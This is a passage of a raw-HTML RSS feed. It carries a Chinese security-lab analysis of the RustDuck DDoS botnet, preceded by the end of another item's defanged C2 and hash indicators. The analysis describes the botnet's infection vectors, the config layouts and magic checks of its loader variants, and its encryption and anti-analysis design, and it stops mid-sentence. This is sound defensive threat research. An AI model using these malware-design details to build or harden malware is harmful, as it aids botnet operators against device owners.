src="https://wechat2rss.xlab.app/img-proxy/?k=2a303271&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zQ5P20t3Wsu1BCGQ3b3SJj1IC1n37gicAClVwSvfEAeIsJPKTLoafveWQj8bqiacAAlU3PUx0OZaJcqe82cgK5GNBdea7jZabia4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">IoC</span></span></h1><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">C2</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">209</span>.<span class="code-snippet__number">99</span>.<span class="code-snippet__number">186</span>[.]<span class="code-snippet__number">235</span>cdnorigin[.]net </span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Sample</span> SHA1</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">31c69b3e12936abca770d430066f379ec1d997ec</span></span></code><br/></pre></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/nadmesh-botnet-analysis-a-product-grade-threat-for-the-ai-service-era">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=277869c8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484805%26idx%3D1%26sn%3D30d943099dcf41da05966c32d27f2991">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 17 Jul 2026 16:02:00 +0800</pubDate>
    </item>
    <item>
      <title>RustDuck: 双阶段僵尸网络深度剖析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484761&amp;idx=1&amp;sn=9ba73d494086c98f075c0642835e6ec6</link>
      <description>概述自 2026 年 2 月起，XLAB大网威胁感知系统监测到一种新型的、采用Loader + Core（双阶</description>
      <content:encoded><![CDATA[<p>原创 <span>奇安信X实验室</span> <span>2026-06-30 14:57</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f65d1df5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8wpTZyuTNMaMib4pbTsYmqVnWe5ztU3d8icKLicled5FMjCWlmWz4y9sibffzV3FmR8d5lWcchGibSUeHCQciaQry08oe2zkBA9gaic3o%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 style="color: #2B77BF;text-align: center;font-size: 20px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="0"><span leaf="">概述</span></h1><p data-layout-id="1" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">自 2026 年 2 月起，XLAB大网威胁感知系统监测到一种新型的、采用</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">Loader + Core（双阶段加载）</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">架构的恶意软件家族活跃于网络空间。目前该家族已衍生出多个变种，主要核心功能为执行大规模分布式拒绝服务（DDoS）攻击。并具备较强的跨平台适配与持续演化能力。</span></span></p><p data-layout-id="2" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">尽管该家族当前 DDoS 攻击活动中的活跃度和影响力尚不及部分主流僵尸网络，但其技术演进速度值得重点关注。研究发现，该家族正在经历从</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">C 语言向 Rust 语言</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">的全面技术转型，其对抗防御和流量加密的手段也在疯狂迭代。基于其技术栈从C转向Rust语言和早期核心Payload加密编码3个duckdns的C2域名的特点，我们将其命名为RustDuck。</span></span></p><h1 style="color: #2B77BF;text-align: center;font-size: 20px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="3"><span leaf="">攻击事件趋势</span></h1><p data-layout-id="4" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">样本传播方面，该家族样本的传播链主要覆盖 IoT 设备、Web 应用及企业基础设施，攻击方式以弱口令爆破（Telnet/SSH）与多类 RCE 漏洞利用为主，涉及 Android ADB、TVT API、Ruijie、TP-Link、ZTE、 等设备漏洞，以及 ThinkPHP、Jenkins、YARN 等 Web/组件漏洞，并结合部分历史 CVE (CVE-2025-29635、CVE-2017-17215、CVE-2018-8007、CVE-2024-1781) 扩大攻击面。整体呈现“弱口令 + IoT 漏洞 + Web RCE”的组合型传播特征，可覆盖路由器、摄像头、Android 终端及服务器环境，实现大规模自动化入侵与载荷投递。目前监测到20多个IP参与传播RustDuck僵尸网络，其中最活跃的植入样本源IP为：176.65.139[.]204</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="5"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" alt="176.65.139.204-2026-06-22 18.53.16.png" class="rich_pages wxw-img" data-ratio="0.43148148148148147" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;margin-top: 17px;margin-bottom: 17px;float: none;" data-imgfileid="100001097" src="https://wechat2rss.xlab.app/img-proxy/?k=7d986d08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8w7GGjnrcpeiaZmT5YYQu2128V8zGhfg2VWQGrWRibtyyZpxQ18fIWy9EHzDjIibcPxsabAxvMFl8SwOWFYpJKvSz7AE2C7f0HsN4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><hr style="box-sizing: inherit;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(240, 240, 240) currentcolor currentcolor;border-image: initial;display: block;height: 1px;margin: max(4.8vmin, 32px) 0px 0px;padding: 0px;width: 720px;grid-column: main-start / main-end;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: #2B77BF;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h1 style="color: #2B77BF;text-align: center;font-size: 20px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="7"><span leaf="">样本分析</span></h1><h1 style="color: #2B77BF;text-align: center;font-size: 20px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="8"><span leaf="">一、 Loader 的进化与聚类分析</span></h1><p data-layout-id="9" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">Loader 阶段的样本通常采用精简的三段式设计：</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">加载代码（Loading Code）</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">、</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">压缩数据（Compressed Core）</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">和</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">配置信息（Config）</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">。</span></span></p><p data-layout-id="10" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">其经典的文件布局如下：加载代码驻留在标准 ELF 文件的开头代码段中，而核心的压缩数据与配置信息则作为 Overlay（附加数据）紧跟在文件末尾。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="11"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" alt="elf_overlay.png" class="rich_pages wxw-img" data-ratio="0.3917963224893918" data-type="png" data-w="707" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;margin-top: 17px;margin-bottom: 17px;float: none;" data-imgfileid="100001098" src="https://wechat2rss.xlab.app/img-proxy/?k=5bf09a30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wzduHr07IKuCT0gL4bt763JDvzL1VCnG5hCVGs0jeFoMbBdicudLUCfGIsOPo3HHDDKUnSiaH0fuMHDwVnxwBrIya2Fiaqq702TI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="12" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">通过对文件尾部的配置信息（Config）进行结构化逆向，我们可以将该家族的 Loader 明确聚类为以下四个演进阶段：</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;margin-bottom: 24px;line-height: 1.8;" data-layout-id="13"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4673024523160763" data-s="300,640" data-type="png" data-w="734" style="margin-top: 17px;margin-bottom: 17px;float: none;" type="block" data-imgfileid="100001112" src="https://wechat2rss.xlab.app/img-proxy/?k=bb5190ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zheQCVPCzMkbzB5YiccFDmia9PL2zFeRP1WhxLfXepXkz2jkCLpja7Uyl6BqicD2rqkn3N2MSNfMibl6AoGpzEy75zkoZbCEfYmE8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><h2 style="color: #2B77BF;font-size: 17px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="14"><span leaf="">1. loader变种1</span></h2><blockquote style="font-size: 15px;font-weight: 400;color: rgba(0,0,0,0.55);line-height: 1.8;margin-bottom: 24px;"><p style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">SHA1:</span></strong><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">8315f650e9e4f67c00277b076ab304eed23db47d</span></code></p></blockquote><p data-layout-id="16" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">配置大小：</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">16 字节（均分为 4 个字段，每字段 4 字节）</span></span></p><p data-layout-id="17" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">内存布局</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">|   Key (4B)   | Compress_Size(4B) | Decompress_Size(4B) |  Magic (4B)  |</span></code></pre></p><p data-layout-id="19" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">Magic 校验算法：</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">引入循环左移（ROL）与异或组合校验：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">comperss_size</span><span class="code-snippet__regexp"> ^</span> decompress_size<span class="code-snippet__regexp"> ^</span> ROL4(key, <span class="code-snippet__number">13</span>)<span class="code-snippet__regexp"> ^</span> 0x5A3C9E7F == magic</span></code></pre></p><p data-layout-id="21" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">加解密与解压：采用线性同余生成器（LCG）产生伪随机数序列进行 XOR 解密，随后使用 LZ4算法解压。</span></span></p><h2 style="color: #2B77BF;font-size: 17px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="22"><span leaf="">2. loader变种2</span></h2><blockquote style="font-size: 15px;font-weight: 400;color: rgba(0,0,0,0.55);line-height: 1.8;margin-bottom: 24px;"><p style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">SHA1:</span></strong><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">6aa791c76b3107fca9d57b7ecea8f46d97d83738</span></code></p></blockquote><p data-layout-id="24" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">配置大小：33 字节</span></span></p><p data-layout-id="25" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">内存布局：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">|   Key (16B)   | Compress_Size(4B) | Decompress_Size(4B) |   Magic (8B)  | Noise_Size(4B)|</span></code></pre></p><p data-layout-id="27" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">加解密与解压：升级为Xoshiro128 + XOR解密，解压算法更换为 BLZ</span></span></p><p data-layout-id="28" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">对抗特点：该变种引入了多个硬编码常量来混淆解密和 Magic 验证过程。由于不同样本之间的常量是动态变化的，导致安全人员极难进行静态批量解密。</span></span></p><h2 style="color: #2B77BF;font-size: 17px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="29"><span leaf="">3. loader变种3</span></h2><blockquote style="font-size: 15px;font-weight: 400;color: rgba(0,0,0,0.55);line-height: 1.8;margin-bottom: 24px;"><p style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">SHA1:</span></strong><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">4d11bd496da82d15b3ed13050f414e44f5a892d4</span></code></p></blockquote><p data-layout-id="31" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">配置大小：48 字节</span></span></p><p data-layout-id="32" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">内存布局：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">| Compress_Size(4B) | Decompress_Size(4B) |  Key (32B) |   Magic (8B)  |</span></code></pre></p><p data-layout-id="34" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">Magic 校验：固定为明文字符串 &#34;ASHPCK\x01\x00&#34;</span></span></p><p data-layout-id="35" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">加解密与解压：回归标准 XOR解密与 LZ4 解压，结构走向标准化。</span></span></p><h2 style="color: #2B77BF;font-size: 17px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="36"><span leaf="">4. loader变种4</span></h2><blockquote style="font-size: 15px;font-weight: 400;color: rgba(0,0,0,0.55);line-height: 1.8;margin-bottom: 24px;"><p style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">SHA1:</span></strong><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">d39a3ee96be6b8f5238cb1253514ab55c88f714c</span></code></p></blockquote><p data-layout-id="38" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">配置大小：</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">32 字节</span></span></p><p data-layout-id="39" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">内存布局：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">| Compress_Size(4B) | Decompress_Size(4B) |  Key (16B) |   Magic (8B)  |</span></code></pre></p><p data-layout-id="41" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">Magic 校验：</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">固定为明文字符串&#34;iEMPK\x02\x00\x00&#34;。</span></span></p><p data-layout-id="42" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">加解密与解压：</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">引入高强度的</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">ChaCha20</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">流加密算法，解压依然采用</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">LZ4</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">。</span></span></p><hr style="box-sizing: inherit;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(240, 240, 240) currentcolor currentcolor;border-image: initial;display: block;height: 1px;margin: max(4.8vmin, 32px) 0px 0px;padding: 0px;width: 720px;grid-column: main-start / main-end;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: #2B77BF;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h1 style="color: #2B77BF;text-align: center;font-size: 20px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="44"><span leaf="">二、 Core 阶段的质变进化</span></h1><p data-layout-id="45" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">随着编程语言向 Rust 切换，该家族的 Core（核心模块）在密钥派生、反分析以及通信协议上展现出了极高的工程复杂度。</span></span></p><h2 style="color: #2B77BF;font-size: 17px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="46"><span leaf="">1. 密钥生成与加解密算法</span></h2><p data-layout-id="47" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">在密钥派生方面，新变种统一引入了</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">HKDF-SHA256</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">算法，目前观测到两种并存的密钥生成源：</span></span></p><p data-layout-id="48" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">基于 UTC 时间的动态密钥：</span></span></p><p data-layout-id="49" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">步调与时钟同步，每 10 分钟强制更新一次，用以对抗重放攻击和长期的流量审计。</span></span></p><p data-layout-id="50" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">非对称密钥交换：</span></span></p><p data-layout-id="51" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">采用</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">Curve25519（Noise_IK_25519）</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">架构实现前向安全。</span></span></p><p data-layout-id="52" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">在对称加解密算法上，演进路线分裂为两条分支：</span></span></p><p data-layout-id="53" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">分支 A：</span></span></p><p data-layout-id="54" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">全程采用经过魔术修改（Permutation 变换）的</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">Ascon128</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">轻量级加密算法。</span></span></p><p data-layout-id="55" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="font-weight: bold;">分支 B：</span></span></p><p data-layout-id="56" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">采用混合加密体制。握手阶段使用</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">ChaCha20-Poly1305</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">，握手合规后切入</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">AES-GCM</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">。</span></span></p><hr style="box-sizing: inherit;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(240, 240, 240) currentcolor currentcolor;border-image: initial;display: block;height: 1px;margin: max(4.8vmin, 32px) 0px 0px;padding: 0px;width: 720px;grid-column: main-start / main-end;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: #2B77BF;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="color: #2B77BF;font-size: 17px;font-weight: 500;margin-bottom: 12px;line-height: 1.8;" data-layout-id="58"><span leaf="">2. 多维度反调试与环境泛滥检测</span></h2><p data-layout-id="59" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 1.8;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">为了阻断沙箱自动分析和逆向分析师的动态调试，Core 